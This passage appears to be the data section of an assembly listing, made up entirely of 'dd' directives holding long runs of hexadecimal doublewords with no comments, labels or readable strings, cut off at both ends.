0D6F71110h, 839F1E00h, 730B904Dh dd 1E7CE84Ch, 3CFC6806h, 8CEA4B01h, 0A231E925h, 0C3306C26h dd 0C274EA2Bh, 5A218EEAh, 6D9C7CBFh, 81A4CA4Ah, 0A22D5B38h dd 0F8211217h, 0ED5FCDE2h, 8A42106Dh, 1BF95E25h, 258A56A5h dd 73599FC8h, 15FA0182h, 2FD6B442h, 0AFA4A7C5h, 0F0D20645h dd 0F39A9F35h, 0C322B770h, 94D76E08h, 7654C86Dh, 0EA443017h dd 8000282Bh, 672CE0F5h, 16F845B0h, 8418AD69h, 0CBAE1487h dd 6206423Fh, 0FFDA84A2h, 0F730A394h, 0DBEB1785h, 0EC382740h dd 0C1B07670h, 90E5535Eh, 4F512540h, 2E5EC29h, 46F81665h dd 0BFD015E9h, 88F3B71Eh, 90935B9Eh, 87080B53h, 5982A75Dh dd 0B1C9D9DBh, 4BCA28C2h, 0C18C6EBh, 71741003h, 2DD32941h dd 9A74157Eh, 0B4F4912Dh, 59E093Ah, 0D4462B5Fh, 0BCAE0DE5h dd 886D0673h, 29D6E20h, 0CD202D48h, 66E0A1B5h, 1F2572C3h dd 82E9721Eh, 2B784208h, 111DCF7h, 1150CEBDh, 0AA91F463h dd 5DEF1BC9h, 5E27D347h, 56328CDCh, 66584C8Fh, 0A70BDE01h dd 5A2D7C63h, 507C0BDDh, 955BE41Eh, 0F74B5AF6h, 4F9CC403h dd 0CBE3C7CDh, 81560284h, 93374B0Fh, 30AE1E6Bh, 0A5B15175h dd 66D1F600h, 28E5B652h, 0C35AECF1h, 0EF8EE910h, 5B246549h dd 43997DB4h, 285D780Dh, 2BBB8067h, 0B769E46Ch, 0DA809C70h dd 7205C0ACh, 114E948h, 0C39AEA4h, 4E7E8C3Dh, 7C005F0Eh dd 0F5317265h, 5BD5B8E9h, 7E8399FEh, 5A0B5700h, 0BF25684Ah dd 0C04D79DAh, 0C8A370E0h, 0ED80E181h, 22E92010h, 75E05681h dd 12679DCDh, 1CD6531Fh, 0A6EA70C4h, 6DBAD245h, 62AB3E4Dh dd 0C57D5669h, 0AF844956h, 95E04B8h, 4D258CC0h, 625C0035h dd 6D719605h, 895DE979h, 0E3B01D4Fh, 7AAE88C9h, 0AC6ABDD1h dd 7E5D9862h, 0CB987435h, 372C3541h, 0F9F65CB0h, 0DE9EE912h dd 0BEC8DA4h, 21620B7Fh, 0F61180DDh, 2D765EC4h, 0A9F08915h dd 2A993020h, 0F482D301h, 0B6FD5AD8h, 0DA727F83h, 5B5A2A18h dd 244748h, 97112539h, 6168D231h, 17D1E69Dh, 91ABDAE9h dd 0ADAA27B7h, 0BA35C365h, 6B6E4857h, 0AFA3913Dh, 0AFF219F0h dd 53BE2A60h, 1626020Fh, 90CD25E9h, 3D1B6B49h, 0D5310830h dd 0B8F2DC6h, 0E2E9A739h, 3B5B5D41h, 7A0579FAh, 104B4203h dd 9D560460h, 0C03CFB56h, 3A087788h, 5CC37F48h, 0E6BE0EB3h dd 0BFAC7714h, 0A6757B04h, 236E8034h, 114BED78h, 0DF12C31Dh dd 0F684BCACh, 4EC489F1h, 0D4AC5B2Dh, 805A6694h, 45B9B851h dd 0BD147724h, 0FC1C013h, 0C3DCF120h, 8E7BEFB7h, 845148C0h dd 5E0950A8h, 5314B459h, 4A4200DCh, 8B9F281h, 0E94E0510h dd 0EFFEB185h, 0CA48C28Eh, 0B3D75E7Bh, 0B7965FB7h, 62B8000Ch dd 0E9506B1Dh, 49C0FE49h, 8814A7C7h, 544FF64Ah, 4ADCF30Fh dd 4E6E331Dh, 215F992Eh, 0B5DC093Ch, 79C5DFFEh, 3C13D527h dd 0C8699208h, 0BA824FEh, 0BDC85E19h, 8F25ADB7h, 9007FD34h dd 0CAA1BEC6h, 403A2554h dd 0C2D72BCh, 11A84E4Eh, 8951E9A0h, 8EC24BC0h, 0EC184625h dd 76A60BCAh, 260B1923h, 7F63F802h, 0C6DFFE57h, 1707B256h dd 2CE95F4Ch, 0A12AA2FDh, 0F4EC2A60h, 0AAD8EFA5h, 0B2C55540h dd 0FDC9177Fh, 0E1E0405Dh, 6157FFAAh, 0B13C2124h, 59FF005Eh dd 0E07ED92Dh, 0D2163AE5h, 9FC87C04h, 5EF12902h, 61E46C40h dd 0C5DA9250h, 0EEA8AA0Bh, 52C2DF47h, 14D22D5h, 0D150E1C8h dd 3F143301h, 0C33FCCCDh, 0CBF2698Fh, 5ADF875Dh, 4A2AA5F2h dd 0E2C5F434h, 59DFD382h, 0BE9F0CB1h, 77ECE649h, 0C86A0D2Fh dd 78158D6Ah, 0B8C99508h, 0E6067A56h, 9004DEF6h, 0B1DD2D1Fh dd 80B24020h, 0D3FCB8C3h, 0D25A7598h, 0A1B50BE8h, 0DDB83F99h dd 9CCFC5Bh, 5711685Eh, 27F20366h, 537EF401h, 0A63F4CBBh dd 8DD8013Ah, 3F0A332Eh, 2F333B4h, 617B31CEh, 0AB80DBF7h dd 447D14DFh, 0C213D283h, 0C543DDB1h, 7BBDC476h, 858B15FEh dd 0E7430B2Fh, 0AD0761ABh, 5523ADFCh, 52455310h, 2E320E33h dd 73C6C64h, 32564441h, 0D984950h, 4CFC544Eh, 7A0A54E3h dd 0B6E9C301h, 680A020Bh, 5FBDBF2h, 61A46B41h, 0DCC6E822h dd 4F3615C8h, 2C90DE68h, 48E00884h, 22814422h, 0E1D21018h dd 42080E89h, 8804E244h, 0B53F5C83h, 87880B8Fh, 0BB648055h dd 0F27D5E89h, 49710054h, 75AC86BEh, 617FA646h, 59B21C00h dd 709944A3h, 0C42901CCh, 88319349h, 9AAAF8CBh, 0BA2F2300h dd 26E708EFh, 54FA00AFh, 35A8F1DEh, 0A60E45A3h, 4EB77263h dd 631E3C7h, 0A004882Ah, 3AA17D8Eh, 2F87FC9Ch, 210732EFh dd 0ECCB5821h, 2800D523h, 0FB043506h, 1737CEh, 76E82E34h dd 7FDB4DFDh, 46725A00h, 0A86BBF8Fh, 80AD1D41h, 0BC80FED3h dd 0F625124Fh, 0CA383183h, 0CE030243h, 0D59522C7h, 23695900h dd 0BB0087A4h, 0D5431F2Fh, 72AD548Dh, 6D600012h, 2CB79ABCh dd 4900C2E6h, 4732E118h, 0F3DD071h, 0BF37D7C4h, 0D5E217A0h dd 0A27A13F6h, 23413C30h, 3908C1BEh, 270707E6h, 0DC0C47F2h dd 3126EE1Dh, 1E00F9DBh, 0F5191CD1h, 4F0903Bh, 0B9BCAB41h dd 9243C010h, 1300E02Dh, 5ECAA266h, 5AAA8BA4h, 9A67B0EBh dd 22DA3700h, 50F41BC3h, 0C04318A5h, 0A84F3F1Ch, 2116447Eh dd 0C6098E03h, 0DD94801Eh, 1CCFF62Eh, 18E71DECh, 2BCC10DFh dd 0E98DF02Ah, 0A3650A12h, 818CF100h, 90617E6Dh, 389F000Ch dd 0AE5B8239h, 0B714DF46h, 72ED7B9Bh, 998E13Ch, 152995h dd 0D60C9A72h, 5AA9012Bh, 0C4B5661Ah, 0E220A8EAh, 68207007h dd 8870CAF4h, 800924h, 0DFF9F798h, 0A017E24Fh, 3C9D4000h dd 0DC15C4C9h, 0C3F43Ah, 862F91D4h, 0C66C6099h, 4863BA00h dd 0D562F46Ah, 0D40300EAh, 0FCAD20E9h, 2A000F35h, 9C1801A2h dd 1D912455h, 70D2AB68h, 0BC524FE6h, 7B8E2D00h, 779239C6h dd 6B0E00D7h, 8F9F6854h, 713F7F60h, 23308328h, 0A099A65Ah dd 0C22AD7h, 6A55862Dh, 53068784h, 8E3D9E00h, 74B0F019h dd 177A2A7Bh, 2BC600D4h, 37973EE6h, 0C17D24D8h, 8D38EC00h dd 0C423D92Ch, 4DEF0018h, 0DDFDBAF7h, 0E698F22Ah, 0DBFA2201h dd 4E319F0h, 3B0A32D4h, 79180FE8h, 51F6C2A9h, 73CEAF1Fh dd 96859500h, 7E10B29h, 27C7B42Ah, 90E624C8h, 542536CEh dd 0D4D125C0h, 0FB8981Dh, 0C445A80Fh, 7F61820h, 0EE1913DBh dd 0C92B4C2Dh, 1BD5BD40h, 4D2F2F59h, 0E58E7Dh, 0D637981Fh dd 8CFA0040h, 0B4557863h, 3B3BC47Dh, 0A475808Fh, 0E886A892h dd 0F4FC091h, 63886FAEh, 80F9A27Ah, 71B86517h, 0F7244C8h dd 4E8CEF90h, 0AC9C413Fh, 0C039E03Ah, 6E602A53h, 0CB3CA02Eh dd 0AF0F00CAh, 44CF5CF2h, 8F0AE0BAh, 0F248352Fh, 6A4F09h dd 86517C4Dh, 0A4AF0964h, 2B82FBD9h, 0EF48A956h, 281ECF75h dd 2A4112C5h, 985144C1h, 10150483h, 0E8000838h, 3F46CE70h dd 4F51E79h, 1B5EFD1Ah, 986580DBh, 100026EBh, 0FEDFFCE1h dd 0CB9E0Fh, 0CDEA8F06h, 6CF81EF1h, 0A3B0FA0Ch, 185735DAh dd 0FE099BAh, 6972A05Dh, 0A4DA7913h, 65528540h, 0FE0C8184h dd 189790B9h, 0B09835A0h, 0F9FC8F6Ah, 76CCBA61h, 6FDC6589h dd 0D8DDA001h, 0E9E7128Dh, 214805FBh, 5CE400B7h, 1E8F7663h dd 8EAB4B00h, 98F614CDh, 45FC1F29h, 0A141C016h, 1323E01Dh dd 0DE0CEB00h, 0CA35EC25h, 47E70924h, 27A20FEAh, 7240C433h dd 4203A94Ch, 2CE712C7h, 0CE430051h, 409E6D1h, 3600D891h dd 0B9080CADh, 0B8341884h, 12857609h, 0F915811h, 3AE0E713h dd 53A2B44Bh, 0FBA36A3Eh, 0BEF94D01h, 75595C55h, 58163Eh dd 45B0544Eh, 17FE66A9h, 0AA52B100h, 0B5679E4Bh, 1E5DEC12h dd 148DA7h, 75608483h, 901EB457h, 61468665h, 3C105976h dd 0F3929562h, 70A202A7h, 61483DFBh, 4C91C253h, 64AD7C41h dd 12F5020h, 19D87E8Dh, 0F45459B4h, 797A3521h, 48AB602Eh dd 3A201407h, 0BF7D01D9h, 488375C7h, 71CBAE6Dh, 5B480C1Eh dd 49AA4384h, 0F2EFA887h, 47B060C0h, 0E7740CA3h, 132C6596h dd 3BDB1609h, 88C58005h, 791AD97Dh, 56F0B5h, 7E371C9h dd 912ECBC2h, 4EE02B00h, 0B9418412h, 51D20293h, 18F7D799h dd 0D0E1EF41h, 0A94882FBh, 2FF1D3Ch, 0E2D33600h, 124AE707h dd 0B93109h, 17656740h, 3DE4EFCCh, 0BE1B800h, 94BA6D52h dd 7D9F245Ch, 54BB003Eh, 0B830A6C2h, 24F51638h, 1A1CD629h dd 58C043DBh, 44001804h, 59907763h, 40003DB5h, 14B0C64Dh dd 18D1DA4h, 0FE725482h, 3046DD28h, 743B8FC4h, 0F1B45AE2h dd 0B227B8A0h, 641A0103h, 0A6EA718Fh, 0EFF22056h, 7900795Bh dd 0F6A32AD9h, 48D30C60h, 1DCEAECAh, 5300B9F0h, 4AC5A77Ah dd 203676h, 0B34E141Fh, 53CFD75h, 79235600h, 309949C1h dd 9E001D5h, 1A46E895h, 70ABFC8Ch, 0BAA12201h, 588754Fh dd 0A503FCh, 0DF309045h, 0FFF63BEEh, 3A002A76h, 0E3BA5AD2h dd 1449FF8h, 9D685B2h, 0F049C0CBh, 0D8002F9Bh, 0EECFE811h dd 5893CD1Fh, 0C224F4BCh, 4C7180D1h, 529747A4h, 0DEFA7DE6h dd 38012600h, 0CE6D621Bh, 0F0DF003Dh, 0E0B93CCDh, 0BC920529h dd 1E20B700h, 0D1E25EC4h, 0A0D57DE4h, 925D84A2h, 86893F86h dd 0B2517781h, 287E6B8Ah, 0BD4A1D07h, 74AD49h, 15C06444h dd 0B0BA92B7h, 16C118E2h, 754210B9h, 0A593E612h, 5B10A000h dd 3969FF9Dh, 22110831h, 27D40057h, 5E92A07h, 2F920160h dd 8CED2ED3h, 93A83ABh, 0FA02FA1Ch, 119684DCh, 28E13EC0h dd 0E40605F1h, 80D60F1Fh, 1CE7D148h, 3B7EFF30h, 0BE80EFBh dd 0CA29E409h, 0B0F70F80h, 5CE4EE07h, 0EF0BF3CFh, 0F0D0802Dh dd 0E8DAFD1Fh, 0E55AC113h, 0D8D9FC20h, 5407EE16h, 0C93E9EDDh dd 630AB4F2h, 38D1F8A5h, 0CBEC9804h, 0AC0996h, 7226D7F3h dd 804019CEh, 65FAA5Bh, 0D586BB6Eh, 2105FFA4h, 3F28AD64h dd 6B200DC7h, 7482FA6h, 857263A4h, 0B3315067h, 0D80186D4h dd 27A1AD08h, 3E81875Fh, 37F219C3h, 611CC802h, 0DE168360h dd 26F80D21h, 41F5F67h, 0FC4E20h, 641546FBh, 0E128C177h dd 602C1224h, 0A8E6AD5Dh, 0D479DA00h, 30AB342h, 8E180092h dd 864BB822h, 753AA65Bh, 813C6004h, 0ECC57284h, 0B69080h dd 0D701FE2Fh, 0C035D2FAh, 5A01AFB9h, 0E13FE5A2h, 37F4077h dd 5CD80CE9h, 0FA8F25Bh, 590055FFh, 33EE34A2h, 0C793EA28h dd 9E947858h, 7EA6CB43h, 64D406F0h, 8069013Dh, 0DAC72FBFh dd 1D6B282Bh, 40CBB451h dd 42BD64BEh, 945C3C9Bh, 6A9F00B2h, 0B35C8463h, 5781007Eh dd 6EAD8AACh, 12C09320h, 0AB3FB673h, 66F5013Dh, 758C4413h dd 4CE9F49Eh, 5F3A2701h, 9247827Fh, 0C8805EE9h, 0B1F50F7Bh dd 0FC144AE4h, 3C929646h, 5F568219h, 81C7648Ah, 2BA265E2h dd 3C070A62h, 0D0EB0D9Eh, 0ED0FDAF5h, 28E50A03h, 0C7E7E0CBh dd 0ECF9FA90h, 0FCC9C0Bh, 422017BAh, 30D43BA3h, 0E023C509h dd 2F41A03Ch, 72E324C8h, 0F1AE0041h, 0DF063EC9h, 0D64D0EFDh dd 0E0070CCEh, 9EC10FFh, 0A46D104Bh, 85EA5101h, 0CA22C3h dd 99AE4004h, 0F398A9Fh, 0E8ED22BEh, 0E9101DA0h, 191EEECEh dd 1E40C594h, 2F9164DAh, 75AC0A59h, 1FCE638Ah, 49BE4099h dd 62A746A5h, 7F6B49h, 0A07BB657h, 98F0D13Fh, 492C1315h dd 4A1AF09Bh, 0B26AA704h, 28D0AB13h, 0AC50B3h, 0BF65A049h dd 0B153B418h, 611E9300h, 6F568E79h, 86BE004Dh, 578D7C5Fh dd 10C04F70h, 0FD809B5Ch, 7AE0C2A3h, 410033D5h, 24F015B6h dd 8F401A63h, 0F422B897h, 26692801h, 0DA1BC848h, 0D7F54D1Fh dd 0C7B241C2h, 4484C098h, 7B600057h, 0C056038Ah, 73506B8Dh dd 0DC052581h, 99BE3E3Fh, 28CE7780h, 0E46198D0h, 17840001h dd 0CD78577Fh, 0E029DE7h, 75BBBD7Ah, 12070E1h, 679C3EB9h dd 0D0FD6DC7h, 0FCE50E33h, 7B0064D0h, 0F6E4D31Eh, 1F0C40Dh dd 0EE50DAD1h, 0F476980Eh, 76D3DEB4h, 0CC6D5E04h, 2C15B8D6h dd 9D74E509h, 85F8CD10h, 0CCA42019h, 1F00CBFAh, 0BB44E5E8h dd 0F4F910h, 89721125h, 847BA661h, 27AE571Eh, 0E652DC40h dd 1CD3FC7Ch, 814AEF3Ah, 0D8F5E808h, 20F9EC35h, 0F312B702h dd 8095F063h, 1EE5D334h, 7C21D97h, 693D2h, 0AE37D729h dd 6500090Bh, 77AA6E02h, 75F8EA0h, 0A91E8F7Eh, 2BE2F3F4h dd 0D803EC98h, 0A20013F0h, 0E0D702C7h, 78409FAh, 12F741D5h dd 0AD7D90BAh, 0C81F9FEBh, 695DDC7Ch, 143AEF07h, 0A015F860h dd 295900FCh, 675045C0h, 0F188685h, 9910C628h, 0B7A30194h dd 0A512EFE7h, 1ACFF049h, 0D905F402h, 0E067BF15h, 27166D8h dd 5E7F6E80h, 0E6605D7Dh, 78005CBDh, 536ACB8Fh, 9CEFFFA5h dd 0CF30095h, 0F5A429E2h, 9F886109h, 7514223Bh, 17E6209Ah dd 2D900611h, 0B36EA300h, 83F3B61h, 0E5130009h, 29FC9851h dd 8E002F3Dh, 527A5D7Fh, 19C40B5h, 16EBC8B9h, 40C37405h dd 2234F1B8h, 0F5F7E303h, 0F00732D5h, 0EF30F4h, 0EB0B9741h dd 8AE4E851h, 14009178h, 0BF2EC0D8h, 0B912BA1Bh, 37D380CCh dd 0DD691084h, 376A50Ch, 80608Eh, 3FA84E83h, 81749538h dd 2432D909h, 8D9B608Ah, 66858899h, 5B818603h, 0B888537Ch dd 3C7930A5h, 98873DB0h, 0F0553E5Ch, 5EF10570h, 0D975D00h dd 9E6D4FDCh, 8B250117h, 0E05018DFh, 7A32986h, 360B57B6h dd 0E39E33D0h, 0CAFF12A3h, 0AA250030h, 8F91291Fh, 0F82425B8h dd 11016BEAh, 389554FAh, 0E6F89335h, 5506003Bh, 6B268F24h dd 5201E4A1h, 35FCD099h, 27DC01ABh, 0A41CC48Bh, 0A719C0F7h dd 22315BF8h, 0E29F1688h, 4E86489h, 0ED00670Bh, 2ECCBC2h dd 0C4004C90h, 4CC19DC9h, 5C7D6F7Bh, 0A0049560h, 800F9BB2h dd 0E953E308h, 5AF94006h, 1356941Fh, 14FDF9Ch, 53C7CE90h dd 8980E8C5h, 0AC550403h, 1F950E6Fh, 0DC9E8B28h, 816C80AEh dd 0C2540588h, 0C9A78F00h, 14ED711Fh, 60760007h, 36F3652Dh dd 0F90AD820h, 8AFD34CFh, 0F5F80F05h, 0FF28FB80h, 6019303Ah dd 0E503DD2Fh, 0A8027D1Fh, 779752C3h, 5A25C2EBh, 2CC200FFh dd 18F3D965h, 1300F9A6h, 3193D634h, 0B8BAB28h, 0D2656DAEh dd 7330C502h, 0EA6A2BE0h, 0DD00F37Ch, 694E97B7h, 28538984h dd 2E9C4B74h, 6B6B48h, 0CE1CEBB0h, 0BF00AC20h, 81FC179Dh dd 0B80E587Eh, 42AB002Ch, 3E046DD8h, 0A00E452Fh, 0A9A44A7Fh dd 227BAFA8h, 52100E57h, 0D4F62882h, 0E12200FBh, 0DA193DECh dd 8F0128F5h, 2D7DE2Dh, 378088F1h, 992A2E13h, 4034DCCh dd 108B3A2h, 0ED8C90C8h, 1CE916D2h, 0B62FC0FAh, 45F2F514h dd 0D6C3CF00h, 0F987CDACh, 39960055h, 2C922DD4h, 1E00EEDFh dd 1CB73D0Eh, 0B17829h, 8B34939Dh, 71A25782h, 0E0490830h dd 0FAAA5F7Eh, 6F502447h, 0AC420181h, 3C0A3233h, 0F8E1DA2h dd 0E629C5C4h, 8C1E6DD0h, 0CAC7965h, 696CA13Eh, 44002347h dd 7B7C719Ah, 35B84Fh, 787D8A32h, 3ABB4A6Fh, 808B2D3Bh dd 0C14E7275h, 38681BCCh, 0EB4A23EBh, 0A05F9C8Bh, 6B4AAE82h dd 78BB37C8h, 58CC2D4Eh, 810324FEh, 0C005A1CBh, 4554336h dd 5DB2E1BDh, 9FC5EF39h, 5229FBFh, 755D685Ah, 428F3944h dd 8F35FDBBh, 2ABAB38Bh, 98A00029h, 0AAC8FFFDh, 2EF2F9h dd 0C005740Ch, 0B83E94CBh, 0FBE6021Eh, 0FFC50340h, 0EE9B30E0h dd 0D31A001Ch, 0BFF84293h, 0DC0E2998h, 0A5125FFDh, 0D400A064h dd 3167416Ah, 383200C2h, 55B2371Bh, 977EB913h, 40EFCAA3h dd 0D218350h, 0D8587113h, 2D1E000h, 71B06032h, 88FC4C05h dd 28857700h, 61C9474Bh, 0E83314E6h, 8098D510h, 0E2ABE1AAh dd 51E300E5h, 0C3991E9Ah, 520040D8h, 0DE8B58F5h, 6056C081h dd 0B9F83459h, 9E3EAC2Eh, 0F7E90C2Ch, 30600C95h, 0F65905E8h dd 0B03D98BBh, 5E6180CEh, 6AB7DB81h, 8BE0EF4Fh, 0F2F210h dd 30038C67h, 913BBB66h, 0DED014C5h, 0C38049C0h, 1312C0ECh dd 664589BAh, 0BAF38B3Ah, 0E61DFC10h, 0E8094E5Ah, 63C8874Bh dd 66A8FBF6h, 9EF51147h, 0F5F239Fh, 76FFF385h, 0D9BF0002h dd 115A664Dh, 0ACEE88A4h, 0A3FAA50Fh, 0DEE70614h, 5AE80808h dd 110FDDF8h, 2FDA00CEh, 67DFE794h, 417B2119h, 8024B3AEh dd 0DB9A9111h, 0A0AC9455h, 0E41CF81Ch, 2411C080h, 211E6ED6h dd 8281E060h, 604D576Ah, 646811FBh, 6D20AB24h, 30E80252h dd 5801E251h, 7A492013h, 0F468FA44h, 5048E910h, 0E0600892h dd 9C8307B3h, 0F040ED21h, 33D3B8A1h, 25088015h, 0EE5A82A0h dd 53CD3118h, 0C998920h, 427121D7h, 323BA510h, 3AE2803Bh dd 24CCA090h, 9E8E50B0h, 0C9AD28A4h, 6D2903A0h, 0ED5D2B30h dd 0E02DC1E1h, 10CB187Fh, 0B40C00B1h, 0FF74D74h, 0A45419A1h dd 0C03F0607h, 0F24613BBh, 11501EF8h, 0BC7CEA14h, 0E8E1520Eh dd 652F21D1h, 5083201Fh, 0EE819CD3h, 5527780Ch, 5A1993h dd 0E76BAD64h, 5F11B6A4h, 0F100D0E4h, 282F420Ah, 0A0A01EE2h dd 20219888h, 65007201h, 135795C7h, 277EE5Fh, 199202B3h dd 410E485Dh, 0BBF4062Eh, 6211204Fh, 8109454h, 8012B2BDh dd 72BF931h, 0CC0CC898h, 8E0905Eh, 5421C009h, 24CE2BF1h dd 18653619h, 0FE18BA40h, 29DD2B48h, 51120F0h, 2BF65302h dd 4044F961h, 75F76B00h, 6FA1CD48h, 63FA1D24h, 8C8C14E7h dd 0B8649A0Eh, 0AB80F415h, 9CC4F0Dh, 18A30400h, 0DFD4D651h dd 14DB48BAh, 2D6AF500h, 0EE8A62A4h, 7DF1111Ah, 47208138h dd 4824EB4Ch, 0D20400C8h, 352E61FAh, 1E6669A0h, 21FC08h dd 82D20CAEh, 0B4B0D763h, 213890C3h, 6589063Dh, 189E7BDFh dd 0A44A487h, 0D466C660h, 411FC41Eh, 48428092h, 0FB375h dd 16BFA8CAh, 0F47C2200h, 2E81AD63h, 1DB09026h, 33FF7595h dd 23803228h, 9A074822h, 356E6974h, 3906F11h, 2A0D0C30h dd 0B8A7F9h, 4E99B784h, 157E942Dh, 8AC2533h, 0E32107B0h dd 0C51A99BFh, 3D3C8031h, 126430F0h, 0B1600B48h, 0B5A24899h dd 0E5002414h, 0A53D99B9h dd 0D8382B65h, 7D2FB8A8h, 11034333h, 32CCC812h, 8BBD00B3h dd 0C84AABF0h, 251850CBh, 30197EDCh, 19111238h, 1464215Fh dd 0B7F9014Ch, 0A2827187h, 368CC096h, 66F89A5Eh, 98A40600h dd 0FB28439Eh, 18DA77A9h, 48529911h, 1E15C9B2h, 50F8EA2Ah dd 16324118h, 102718E4h, 0EE3AA363h, 518C1374h, 13327C04h dd 419CD101h, 0FCF020DAh, 0C4E76109h, 61080FA1h, 989263C2h dd 0F8934431h, 0DE84204Dh, 552CC39Ah, 8C26C191h, 0DC44500h dd 76EA369Eh, 799803B3h, 0AA68D6Fh, 9C55B9E8h, 0FFE9A460h dd 77708B8h, 1E23791Fh, 4B028E95h, 804889FCh, 0ED243FA3h dd 431178BFh, 0FED2029Ch, 0FD310E61h, 8608AA11h, 18B31A20h dd 0A64C0371h, 0F578EB35h, 0CEBB09F8h, 20E452EFh, 52C2E080h dd 4C3433E0h, 541448ECh, 9B550CDCh, 78F411A2h, 0FE2002BAh dd 4C4103B0h, 74C58890h, 0B20B2200h, 0CBA52A2Eh, 0A648175Ch dd 5D3500E9h, 2F1E364Bh, 5131ED60h, 7025BF77h, 0AC9A4982h dd 63F2710Fh, 1E1749C1h, 1B1F33Bh, 0BB91804Ah, 0E123C1CBh dd 0D3F7004Eh, 67C7208Ch, 43F622DCh, 800055F2h, 0FCDED1ECh dd 4836E48Eh, 1F2234C8h, 59119A09h, 7B1C0077h, 3C2430Ah dd 0AB879751h, 0A6AB55D9h, 1A2FE91Ch, 0E7F44902h, 828891D0h dd 8C0FA020h, 4C99B50Eh, 0B288B12Dh, 99BDE183h, 0B3F9F8C8h dd 4549C117h, 0F9AB27F1h, 9A8AE803h, 7B653119h, 0EC60A898h dd 2DE940BEh, 1477D12h, 4202B400h, 2E035815h, 2020C481h dd 0F6413C28h, 206B24h, 0FFD3D1B9h, 1E170A89h, 4021E620h dd 96D29E55h, 813B04E4h, 0C0A53924h, 14D7C180h, 380B148h dd 897AAA79h, 0E530059Ch, 0EE4A1Dh, 0E08E95CEh, 0B22C42B5h dd 2880D402h, 0E39A887Fh, 9F5F0261h, 182F7707h, 65AB3040h dd 3CA45954h, 6C579A24h, 4A81F831h, 79598007h, 58244334h dd 8D0EBCC4h, 0CACC2090h, 0FDA6BAh, 0F1399CA2h, 0E7A1EAB2h dd 1B80D552h, 0C5D9281Eh, 220DEC1Eh, 140C11E4h, 0D3098629h dd 0C55D94h, 3A385BFCh, 37250377h, 0EF4DE1A9h, 69D52900h dd 0C58A9175h, 5CC1E5F8h, 3130C983h, 15F0B8DCh, 34D242Eh dd 1166102Ch, 0F0B2CEC8h, 4E44C46h, 61FBD205h, 20F46226h dd 46D20DAFh, 0A12CAD00h, 14DB4B98h, 0E7CB16EFh, 0F8AC4668h dd 80B0D152h, 16204B20h, 204CC9D1h, 59161980h, 0B81D2E00h dd 6C9B24FFh, 7CEE0CCFh, 47BE8B45h, 63E2DD03h, 3BBC3CEFh dd 844C4F58h, 25BDFC10h, 131C1049h, 151A0133h, 0F88EB5A7h dd 706770FCh, 0C2AA4A00h, 9A60516Fh, 0C36D1862h, 98199009h dd 495069E4h, 2A0280F4h, 0D142A047h, 0C610C8EFh, 309A28B8h dd 62E7AC0h, 435D5B73h, 3C004036h, 0D11683A8h, 94C8A984h dd 1228EA00h, 0E8A40175h, 0E03A8837h, 80006354h, 3CB8C570h dd 5157CAFh, 6C1E77C9h, 804845Ah, 2C241C8h, 1E00C1D2h dd 88FEC858h, 0D2090AA8h, 3F81B52h, 5286D44h, 38CFE9D0h dd 429400A4h, 10E2B25Dh, 20083891h, 0EF6183EEh, 287A8204h dd 0E2404752h, 3C7730FDh, 44D0D126h, 0B6800C11h, 9C2D4F99h dd 0BEE20087h, 5B856E99h, 0E8935526h, 0E480F644h, 71B6C9F2h dd 6B5D06D1h, 0A895D8E7h, 0D9E1E8E5h, 5C96AC77h, 41439C80h dd 109A63F7h, 50ECABA9h, 4408740h, 4F8C09D7h, 0AC00A11Bh dd 2749013Bh, 18EF552Eh, 0B3655A81h, 204F09B8h, 8E182811h dd 2F540951h, 300380ACh, 6D1C4Fh, 40B8FEE4h, 6535DD8Fh dd 4BFF71Fh, 0F8A0FB98h, 0E9DF0Eh, 0D3653C87h, 747D2889h dd 7F33BF1Fh, 3981CFh, 113F9BCAh, 378074E7h, 807ECF72h dd 7E2898FCh, 22ADD00Eh, 19E88078h, 98BC179h, 0BCF15E31h dd 86CDEC00h, 0C7007816h, 0C162348Dh, 5633FBEh, 7F3581D7h dd 553828A4h, 2C78D678h, 8C184AE9h, 782E0858h, 0B08B6070h dd 653390E1h, 2883EB24h, 3987D600h, 1E8EA58h, 8BCB630Ah dd 0E0F04415h, 0CD2C691Fh, 0A414859Ch, 0FA70F68h, 2ABC0645h dd 8F00B239h, 87B38404h, 4F50B4A1h, 10EAB420h, 244AB2DFh dd 570ED441h, 0AEDC1FFh, 3083A579h, 0E97D5B91h, 8301912h dd 8FDF80Ah, 70011012h, 69894D7h, 17F4C540h, 0EE2CA0EFh dd 11514B31h, 478D0C08h, 990C1C88h, 2B305C64h, 6403FCC3h dd 20F9A059h, 0C4E5219Ch, 9332B841h, 4030DAE4h, 5E82195Bh dd 0B878A89Ch, 58155030h, 0F37E87C2h, 87DDFC0Eh, 0AD8D437Eh dd 44DDC820h, 0DE24E7CDh, 9A83CC1Ah, 37F9139h, 5D996B28h dd 92A1EB2Dh, 0E10C4719h, 29AF9555h, 23750974h, 0D9BC8034h dd 7461F4D2h, 0F9D89859h, 648429F2h, 0C76341E3h, 92008168h dd 0D33ABC67h, 7C1C5812h, 6CAB10F9h, 1484B951h, 2702588Ch dd 0A798022Bh, 4D11649Dh, 61C4D202h, 8CA8B6DFh, 904B10BCh dd 0CA921B8h, 68805B80h, 1784A518h, 53ECCE19h, 0F428F8D7h dd 0A47B26E0h, 928F105Ch, 0B1F94808h, 68CF1D40h, 8C08A400h dd 51E4A3E4h, 6071D589h, 69D9FD7Ch, 90090798h, 0CC891C90h dd 17240860h, 19A2CF30h, 0A665A07Bh, 0E0416288h, 64411130h dd 0F2EE08DAh, 40588B4Bh, 19E044A8h, 0C6B2124h, 8042B16Fh dd 18990B8Dh, 8CB4D50Ch, 3A2BC505h, 15A1048Ah, 0A884C29h dd 6182E0CBh, 0F4486F28h, 7A422A5h, 42E340C9h, 6D288714h dd 501D6438h, 46BEA380h, 60140C99h, 70098CA2h, 0C9F8867h dd 592A2BC4h, 22A8D4C4h, 1A808556h, 0C3099F5h, 8CA1172Bh dd 0A89C263Bh, 63518F87h, 49B1BF0Dh, 16EAF2A0h, 14641A24h dd 0D6291E11h, 4374ACD8h, 61571701h, 54C9C850h, 0E4D15128h dd 0A69D5544h, 0C81DFA8h, 2F79E24Dh, 2894D8A6h, 2F6558ABh dd 2C6A4C52h, 115FE39Fh, 2E09BFDBh, 0B4C088DFh, 0EF09CC43h dd 309F521h, 0E4ABD478h, 144CA144h, 0B6A222DCh, 32BA60A0h dd 0C631A4F4h, 552D70CAh, 0B25822F2h, 47119C08h, 0DD043C46h dd 791DAE48h, 3C70E814h, 4790B425h, 47D895C2h, 813C043Ch dd 0FC786414h, 0B9F98E40h, 8CEC0054h, 1A2AA0B2h, 0E55C8900h dd 5149288Eh, 0C9A1869h, 0D2A828C9h, 